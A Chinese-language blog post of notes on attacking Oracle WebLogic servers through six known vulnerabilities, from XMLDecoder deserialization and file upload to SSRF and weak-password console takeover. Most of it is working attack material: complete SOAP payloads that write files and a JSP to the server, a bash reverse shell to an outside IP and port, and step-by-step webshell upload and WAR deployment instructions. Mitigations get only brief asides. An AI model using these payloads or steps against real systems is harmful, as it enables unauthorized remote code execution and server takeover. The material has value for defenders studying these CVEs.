繼續整理有關中間件漏洞思路(僅做簡單思路整理,不是復現,復現請參考大佬們的長篇好文,會在文章中列舉部分操作)
WebLogic是Oracle公司出品的一個application server,確切的說是一個基於JAVAEE架構的中間件
WebLogic是用於開發、集成、部署和管理大型分布式Web應用、網絡應用和數據庫應用的Java應用服務器,將Java的動態功能和Java Enterprise標准的安全性引入大型網絡應用的開發、集成、部署和管理之中
支持的內容比tomcat、Jboss都多,是個全能型的應用服務器
下載鏈接:https://www.oracle.com/middleware/technologies/weblogic.html
感謝老鐵的共享oracle賬戶密碼(搜一搜網上有很多)
安裝流程參考:https://www.cnblogs.com/xrg-blog/p/12779853.html
https://blog.csdn.net/acmman/article/details/70093877
JDK需要符合版本,不然容易悲劇
1.XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)
Weblogic的WLS Security組件對外提供webservice服務,其中使用了XMLDecoder來解析用戶傳入的XML數據,在解析的過程中出現反序列化漏洞,導致可執行任意命令
受害版本:
- 10.3.6.0
- 12.1.3.0.0
- 12.2.1.1.0
- 12.2.1.2.0
如果存在此漏洞,則訪問此路徑xxxxxxxxxx:7001/xxx
(xxx可以是
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
即在wls-wsat包中的uri)
以/wls-wsat/CoordinatorPortType11為例
正常是404, 如果成功訪問此頁面,說明可能有漏洞
改成POST方式傳包,將content-type改成text/xml類型,並在POST數據包下構造內容:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.6.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string>
<void method="println"> <string>hello world</string>
</void>
<void method="close"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
訪問 /wls_internal/test.txt會顯示hello world(寫進路徑去了)
注意:servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt不一定是這個路徑,根據版本不同還可能是下面這個或者其他什么的,具體需要自己判斷
servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war
也可以換成其他的操作都可以,比如類似這種反彈的,hello world也可以換成shell
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/192.168.43.248/9999 0>&1</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
為了避免CVE-2017-3506補丁的影響,可將object換成void,實現CVE-2017-10271
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <void class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string> <void method="println"> <string> <![CDATA[ <% out.print("hello world"); %> ]]> </string> </void> <void method="close"/> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
復現參考:https://blog.csdn.net/yumengzth/article/details/97522783
漏洞代碼層面原理分析參考:https://blog.51cto.com/skytina/2055335
修復有人說刪除組件的,,,就別用這些版本的好了
或者限制wls-wsat訪問
CVE-2017-3506是CVE-2017-10271的前身,都是利用wls-wsat的,見上文,不說了
2.Weblogic wls9_async_response,wls-wsat 反序列化遠程代碼執行漏洞(CVE-2019-2725)
影響組件:bea_wls9_async_response.war, wls-wsat.war
影響版本:10.3.6.0, 12.1.3.0
復現參考:https://blog.csdn.net/yeshankuangrenaaaaa/article/details/107533194
訪問路徑/_async/AsyncResponseService如果不是404而是
類似這種
說明你不對勁
以下路徑均為收到影響的路徑
/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps
其可視為CVE-2017-10271的思想延續。。。
CVE-2017-3506的補丁過濾了object
CVE-2017-10271的補丁過濾了new,method標簽,且void后面只能跟index,array后面可以跟class,但是必須要是byte類型的
CVE-2019-2725的補丁新增了部分內容,將class加入了黑名單,限制了array標簽中的byte長度
POC根據版本與利用鏈不同而五花八門。。。
復現參考:https://www.secpulse.com/archives/122235.html
https://www.freebuf.com/vuls/206374.html
https://blog.csdn.net/weixin_41598660/article/details/111247208
https://www.cnblogs.com/null1433/p/12674614.html
3.Weblogic WLS Core Components 反序列化命令執行漏洞(CVE-2018-2628)
影響版本:
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3
該漏洞通過t3協議觸發,可導致未授權的用戶在遠程服務器執行任意命令
常利用的姿勢是通過ysoserial的JRMP模塊進行遠程代碼執行。。。
復現及原理參考:https://www.bilibili.com/read/cv5838869/
原理參考:
https://xz.aliyun.com/t/8073
https://www.freebuf.com/vuls/169420.html
https://www.freebuf.com/vuls/169322.html
4.Weblogic 任意文件上傳漏洞(CVE-2018-2894)
Weblogic管理端未授權的兩個頁面存在任意文件上傳漏洞,進而獲取服務器權限
weblogic 10.3.6.0、weblogic 12.1.3.0、weblogic 12.2.1.2、weblogic 12.2.1.3受到影響
登錄后台頁面,點base_domain的配置,在 ‘高級’ 中勾選 ‘啟用 Web 服務測試頁’ 選項,然后保存配置
訪問ws_utc/config.do,設置Work Home Dir為ws_utc應用的靜態文件css目錄,訪問這個目錄是無需權限的(如果能改的話)
然后點擊 ‘安全’ -> ‘添加’ ,可以上傳jsp大馬
訪問這個上傳的馬還需要利用時間戳(抓返回包獲得)
訪問http://IP:7001/ws_utc/css/config/keystore/[時間戳]_[文件名],即可執行webshell
復現參考:https://www.cnblogs.com/huasheng333/p/13222818.html
https://blog.csdn.net/weixin_43625577/article/details/97001677
訪問ws_utc/begin.do,也存在上傳點,也可以傳webshell,還是,抓返回包中的webshell路徑,訪問之
用新版的吧
5.Weblogic SSRF漏洞 (CVE-2014-4210)
影響版本:10.0.2.0, 10.3.6.0
訪問 /uddiexplorer/SearchPublicRegistries.jsp,若能正常訪問,不是404,則可能存在此漏洞
在頁面上,填寫任意信息,抓包,點擊search
參數operator為SSRF可控參數
通過訪問不同IP 和port,觀察返回值,來探測IP與端口開放狀態
直接刪掉SearchPublicRegistries.jsp
復現參考:https://www.bilibili.com/read/cv8820050
https://www.cnblogs.com/bmjoker/p/9759761.html
6.Weblogic 弱口令 && 后台getshell
額,能訪問登錄界面,存在弱口令問題的(參考https://cirt.net/passwords?criteria=WebLogic),例如訪問
http://127.0.0.1:7001/console
就能跳轉到登錄界面,弱口令走着
可以通過部署、安裝
傳war包,安裝,啟動安裝的應用,訪問之
復現參考:https://www.cnblogs.com/bmjoker/p/9822886.html
https://www.cnblogs.com/null1433/p/12684170.html
所以說,要避免弱口令
我倒是很喜歡弱口令
永遠的神or萬惡之源?
未經允許,禁止轉載